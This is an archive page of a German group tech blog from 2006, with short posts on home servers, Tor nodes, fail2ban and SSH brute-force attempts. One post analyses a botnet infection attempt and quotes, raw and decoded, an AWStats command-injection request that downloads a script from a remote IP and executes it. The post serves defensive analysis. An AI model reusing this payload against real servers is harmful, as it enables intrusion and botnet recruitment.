Archiv für die Kategorie ‘Geek Stuff’

Musik-Spende

von MichiK am 19. März 2006 um 03:50 Uhr

Ich habe ja eigentlich in Leipzig meinen Musik-Server mit 50 GB MP3s stehen. Und der Upstream da reicht zum MP3s übers Internet hören. Leider ist die Leitung da platt, also kann ich nicht an meine Musiksammlung. Ist nicht kritisch – höre ich eben last.fm-Radio oder so. Allerdings muss ich meinen MP3-Player befüllen, für die Rückfahrt im Auto. Ich habe also mal einen freundlichen Aufruf an die Leute gestartet, die heute (naja, eigentlich gestern…) hier bei mir auf der Party waren. Die haben CDs mitgebracht. Und nun ist meine Musiksammlung um 2 GB gewachsen. Danke! :)

Liebe Musikmafia: Wenn ihr mich jetzt als bösen Raubkopiererterroristen verknacken wollt, muss ich euch leider enttäuschen. Sind alles legale Privatkopien von Original-CDs…

mini noc

von ssc am 19. März 2006 um 01:52 Uhr

Ich habe mir über’s Wochenende einen süßen 10″ 5U Schrank zusammen gebastelt. Damit ist nun mein gesamtes “Mission- Critical” -Netzwerkequipment nebst Kabelsalat in einem 35 x 29 x 25 cm Würfel untergebracht. Dieser wird übrigends von folgenden Geräten auf mollig warme 39 Grad gebracht:

  • 1x USV
  • 1x NAS
  • 2x APs (Lan, Uplink A)
  • 1x Mac Mini (OpenBSD)
  • 1x Wlan Stick (Uplink B)
  • 1x Switch
  • 1x 6fach Schukoleiste
  • alle Netzteile und Kabel
  • Notes zum Foto findet ihr auf der entsprechenden Flickr Seite.

    Imperia

    von MichiK am 9. März 2006 um 18:44 Uhr

    Kennt jemand das Content Managment System “Imperia”? Ich habe seit heute damit zu tun und ich hasse es jetzt schon! Dieses dumme Webinterface ist verdammte Klickhölle… ich sollte vielleicht mal den Hersteller verklagen, wenn meine Maus Abnutzungserscheinungen zeigt.

    Außerdem ist das Programm extrem inkonsequent und unflexibel. Man kann die horizontale Ausrichtung von Tabellenzellen bestimmen, man kann festlegen, ob die Tabelle einen Rahmen haben soll, aber: Die Vertikale Ausrichtung lässt sich nicht einstellen, noch nichtmal für die gesamte Tabelle. In manchen Situationen sieht das aber nun mal schlichtweg beschissen aus!

    Ach ja, hab ich schon erwähnt, dass in den Eingabefeldern für Tabellen Anführungszeichen – ” – zu dämlichen Ergebnissen führen? Der Rest des Strings nach dem Anführungszeichen wird nämlich einfach abgeschnitten. Ob man da wohl SQL Injection… ach nein, lassen wir das. Escapen mit \ bringt übrigens auch nix. Hallo? Anführungszeichen! Sowas braucht man, verdammt nochmal! Wenn man an der selben Stelle aber versucht, einen non-breaking space mit   zu erzeugen, überlebt der eine einzige Version. Bei der nächsten Bearbeitung wird er kassiert und durch ein normales Leerzeichen ersetzt.

    Ach ja, man kann übrigens eigene PHP-Schnipsel einfügen. Datenbankzugriff hat man aber so nicht. Grade die Anwendungen, die damit für mich reizvoll wären, fallen damit flach.

    Und so einen Schrott haben die auch noch teuer bezahlt…

    *aufreg*

    Server-Suche [Update]

    von Khark am 4. März 2006 um 19:31 Uhr

    Kennt jemand einen Anbieter von Root-Servern die folgende Eigenschaften haben:
    Speicherplatz: ~ 40GB < -- Update
    Traffic: ~400GB
    Kosten: max. 30€/Monat
    Betriebssystem: Debian
    – Festplattenverschlüsselung erlaubt.
    – Kein Verbot des Betreibens von IRC-/Streaming-/Game-Servern/etc.

    Wann ja, dann bitte mal die URL in die Kommentare posten. Danke :D

    Anonymität != Verschlüsselung

    von Khark am 4. März 2006 um 18:18 Uhr

    H07 betreibt ja ein paar Tor-Server.

    Nun scheint es aber trotzdem Leute zu geben, die Tor nutzen, aber trotzdem immer noch Klartext-Passwörter benutzen.

    Diese kann man nun, entstellt, auf https://tor.unixgu.ru finden.
    Erinnert mich grad irgendwie an diese Aktion hier und an den dsniff+Beamer Einsatz auf den CCC-Congressen.

    Mate-Nachschub!

    von MichiK am 26. Februar 2006 um 16:30 Uhr

    zwei Kisten Club-Mate

    Khark hatte ja gestern schon erwähnt, dass er zwei Kisten Mate von mir bekommen hat. Ich habe nun auch endlich mal mein Auto ausgeladen und meine Ration in die Wohnung gekarrt.

    Vielen Dank hier nochmal an den Shopblogger, bei dem ich gestern die vier Kisten Mate gekauft habe (nach knapp halbstündiger Parkplatzsuche in der Bremer Neustadt…). Nachdem im Laden nur noch knappe drei Kisten herumstanden, habe ich dann erstmal nach “dem Chef” gefragt und ihn mit den freundlichen Worten “Das Blog geht nicht!” begrüßt. Das war nämlich von Freitag Nachmittag bis gestern irgendwann tot. Der Server hat sich wohl mal wieder unter der Last in die Ecke geschmissen…

    Björn hat dann erstmal irgendwie vier Kisten zusammengekramt, indem er noch eine Kiste aus dem Lager hervorgezaubert und sämtliche geheimen Vorräte geplündert hat. Anschließend habe ich dann die vier Kisten fast noch geschrottet, als ich mit der Sackkarre die Stufe vor der Ladentür übersehen habe. Aber es hat ja letztendlich doch noch geklappt…

    So, nun eine Flasche Mate! Prost!

    MichiK – Ein Besuch, eine Statistik

    von Khark am 25. Februar 2006 um 18:22 Uhr

    – 20 CACert.org Punkte vergeben
    – 42€ für 2 Kisten Club-Mate ausgegeben
    – “watch”-Befehl gelernt

    Hat sich irgendwie gelohnt :D

    robocop bong

    von ssc am 22. Februar 2006 um 21:20 Uhr
    Soebend bin ich über Finger’s elektrische Welt gestolpert.
    Dies ist eine sehr nette Seite mit den schrägsten Erfindungen, wie z.b. den links abgebildeten Blazer, der Bong die ich unbedingt während des nächsten Robocop-Films im Kino dabei haben möchte.
    Falls der Arm angesichts einer grösseren Menge auf dem Schlauch stehender Hippies mal schlapp machen sollte,
    sorgt das Dope-Gewehr für die nötige Feuerkraft.


    Für den geneigten Psychonauten gibt’s auch noch einen passenden Helm.

    Solch kifferfreundliche Ingeneurskunst ist auf dieser Seite gleich vierzehnfach vertreten.
    Besonders erwähnt sei noch die kombinierte, vollautomatische Zigaretten-Zerbrösel-, Mische-Herstell- und Joint-Bastel-Maschine

    Das ist guter Support!

    von MichiK am 21. Februar 2006 um 21:27 Uhr

    Ich möchte hier jetzt mal ausdrücklich meinen ISP loben, der auch den Server in seinem RZ stehen hat, auf dem dieses Blog läuft.

    Ich habe heute gegen 21 Uhr eine E-Mail an die normale Support-Adresse geschickt, bei der man eigentlich nur zu normalen Bürozeiten eine Antwort erwarten sollte. 10 Minuten später hatte ich eine Antwort und alles war wieder im Lot. So muss das sein!

    /dev/radio 53

    von ssc am 19. Februar 2006 um 15:12 Uhr

    Heute gab es eine sehr amüsante Ausgabe vom /dev/radio,
    featuring ssc als der böse Geist aus dem Gaestebuch :)

    Portsentry und die Illuminaten

    von Khark am 19. Februar 2006 um 04:17 Uhr

    Entweder haben die Illuminaten dafür gesorgt, das Portsentry nicht mehr weiterentwickelt wird – oder der Entwickler ist ein Illuminat. *omfg*
    – Man achte auf das Datum der letzten Änderung.

    Portsentry Developement end-date

    fail2ban

    von Khark am 19. Februar 2006 um 00:45 Uhr

    Da die SSH-Angriffe doch wieder etwas stärker zugenommen haben, habe ich mich mal entschlossen das ganze mit fail2ban etwas genauer zu betrachten und dynamische Vorkehrungen zu treffen. (Was für ein Ausdruck :D)

    Unter http://www.the-art-of-web.com/system/fail2ban/ gibt es dazu dann auch eine kleine nette Anleitung. Ich musste nur, unter Debian Sarge, das fail2ban-Paket manuell per wget herunterladen und mit “dpkg -i paketname” installieren, anstatt dies wie in der Anleitung mit “apt-get -t unstable install paketname” zu tun.

    Die anschließende Konfiguration erfolgt über die Datei /etc/fail2ban.conf. Anschließend einmal restarten und evtl. noch das Logfile ( /var/log/fail2ban.log ) in den Logfiles-Screen mitaufnehmen, fertig.
    Das Logfile an sich ist selbsterklärend. Ansonsten gibt es noch eine nette Anleitung unter http://www.the-art-of-web.com/system/fail2ban-log/ in der sich auch ein cooles Beispiel findet, wie man sich die gebannten Einträge, nach Häufigkeit sortiert, ausgeben lassen kann.

    Ich freue mich jedenfalls drauf, wenn jemand das nächste mal einen SSH brute-force versucht :D

    Botnets sind nicht witzig

    von Khark am 12. Februar 2006 um 21:39 Uhr

    Mit einem kleinen Eintrag in der access.log meines Apachen fing alles an.

    GET
    /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp
    %3bwget%20211%2e234%2e113%2e241%2fscripz
    %3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo|

    In ASCII dekodiert ergibt sie folgendes:

    GET /awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 211.234.113.241/scripz;chmod +x scripz;./scripz;echo YYY;echo|

    Irgendjemand versuchte da eine der zahlreichen AWStats Sicherheitslücken auszunutzen und irgendwas auf anfälligen Server auszuführen.
    Da es Sonntag ist und ich sowieso nichts weiter vorhatte, guckt man sich die Datei “211.234.113.241/scripz” mal an.
    Es ist ein kleines Bash-Skript, das 2 weitere Dateien zieht.
    219.84.105.36.42/ping und 219.84.105.36.42/httpd.
    Ping ist ein binary. Und da meine Code-Audit-Fähigkeiten bei Binaries komplett aufhören lassen wir es mal außer acht :D

    httpd hingegen ist ein kleiner IRC-Client in Perl, der dafür sorgt das sich alle infizierten Clients in Undernet in einem Channel sammeln und sich mit einem “Hallo, hier bin ich.” melden.

    In eben jenen Channel bin ich dann auch mal spontan gegangen und hatte eine nettes sinnloses Gespräch mit einem der 3 Betreiber des Botnets.

    Zitat:
    <xxx> the botnet is just something for fun :)
    <xxx> nothing else
    [...]
    <xxx> i run the bots with the uid that the apache servere is started
    <xxx> nothing more
    [...]
    [We are scanning...]
    <xxx> mambo awstats and xmlrpc
    <xxx> and other php bugs :P
    <xxx> try to patch your server…

    Tjojo.. Schon spannend so ein Ausflug in die Welt der krassen Hacker.
    Und wie schön, das mein Apache noch nichtmal PHP geschweige den Perl kennt.
    – Die Serverbetreiber sind informiert und ich hoffe sie lesen die Mail auch.

    Update:
    Der Serveroperator hat die Mail gelesen und sich ganz nett für den Tipp bedankt.
    Laut seiner Aussage verfolgt er diese “Malware” schon seit Monaten, aber diesmal sei es das erste mal, das sich ein Channel der Malware im Undernet befindet.
    Die Betreiber der infizierten Maschinen werden informiert und sie versuchen zu verhindern, das die Botnet-Betreiber nochmal das Undernet missbrauchen. (Was aber wohl sehr schwer werden dürfte..)

    Merke:

    von MichiK am 12. Februar 2006 um 20:43 Uhr

    Reboote niemals auf einen Rechner, der weiter als ein paar Häuser von dir entfernt steht, wenn du dir nicht absolut sicher bist, dass er nach dem Reboot wieder vernünftig startet.

    Bei Servern im Rechenzentrum hat man ja wenigstens eine Console oder zumindest Remote Hands. Bei einem Rechner in meiner Wohnung in Leipzig sieht das dann schon wieder anders aus. :(

    Yeah!

    von Khark am 11. Februar 2006 um 11:58 Uhr

    Feb 10 13:56:10 ip.ip.ip.ip sshd[4793]: Illegal user 9999 from 64.27.4.67

    Scheint so, als wäre wieder alles in Ordnung.

    Gibt es eine Art “Größte Zeitspanne ohne SSH brute force Angriff”-Highscorer?
    Also sowas wie der Uptime Daemon nur für SSH.

    Der zweite Tor-Server

    von MichiK am 11. Februar 2006 um 03:51 Uhr

    Bevor ich es vergesse… Vor einigen Tagen ist mir aufgefallen, dass ich ja einen Server habe und den kaum nutze (ein paar hundert Mails am Tag und das wars…) aber dort seit kurzem nicht mehr 30 sondern 250 GB Freitraffic pro Monat habe. Ratet mal…

    Genau: Ich habe sofort einen Tor-Node draus gemacht. ;)

    Telefonnummer in whois-Daten

    von MichiK am 10. Februar 2006 um 02:31 Uhr

    Bei meinem DeNIC-Handle habe ich eine lange Frankfurter Telefon- und Faxnummer in meinen Kontaktdaten angegeben. Die stellt mir mein ISP sowieso zur Verfügung und die kostet mich nichts. Faxe und Anrufe landen dann in meinem Mail-Postfach.

    So erreicht man mich übrigens wirklich schnell und zuverlässig. Mein Mobiltelefon ist zwar immer eingeschaltet, der Klingelton aber in der Regel abgestellt – es sei denn, ich erwarte einen dringenden Anruf. Auf meinem Festnetzanschluss bin ich zu üblichen Bürozeiten sowieso nicht zu erreichen, weil ich dann üblicherweise nicht zu Hause bin. Und im Moment bin ich sowieso ganz woanders…

    Leider darf eine Telefon- und Faxnummer bei Handles für .com/.net/.org-Domains maximal 12 Stellen lang sein. Das ist doch Fnord. Was machen hier eigentlich Administratoren von Firmen, die nur eine lange Nummer mit Durchwahl haben? Ich kann mir durchaus das Szenario 4stellige Vorwahl – 6stellige Rufnummer – 3stellige Durchwahl vorstellen.

    Schlampige Programmierung

    von MichiK am 9. Februar 2006 um 23:21 Uhr

    Wie findet man am einfachsten schlampig programmierte PHP-Skripte auf dem eigenen Webserver? Ganz einfach:

    short_open_tag = off

    in die php.ini – und dann nachschauen, was alles kaputtgegangen ist…

    Ich trete meinen SuSE VPS

    von Khark am 9. Februar 2006 um 21:56 Uhr

    Wir alle kennen ja das lustige “Ich packe meinen Koffer”-Spiel, wo man pro Person immer einen Gegenstand mehr in seinen Koffer hineinpackt.
    Ich fange jetzt hier mal das Spiel “Ich trete meinen SuSE VPS” an. Jeder der nachfolgenden Mitspieler muss den Satz um eine weitere VPS-/SuSE-Typische Softwarekomponente erweitern.

    Ich trete meinen SuSE VPS mit Plesk 7 Reloaded.

    Oh freude

    von Khark am 9. Februar 2006 um 15:29 Uhr

    Ich hab gerade die erste Mail über die Assurersuche bei CACert.org mit einer Bitte nach einem Assuring bekommen.
    Bisher habe ich ja nur Leute auf dem 22C3 assured.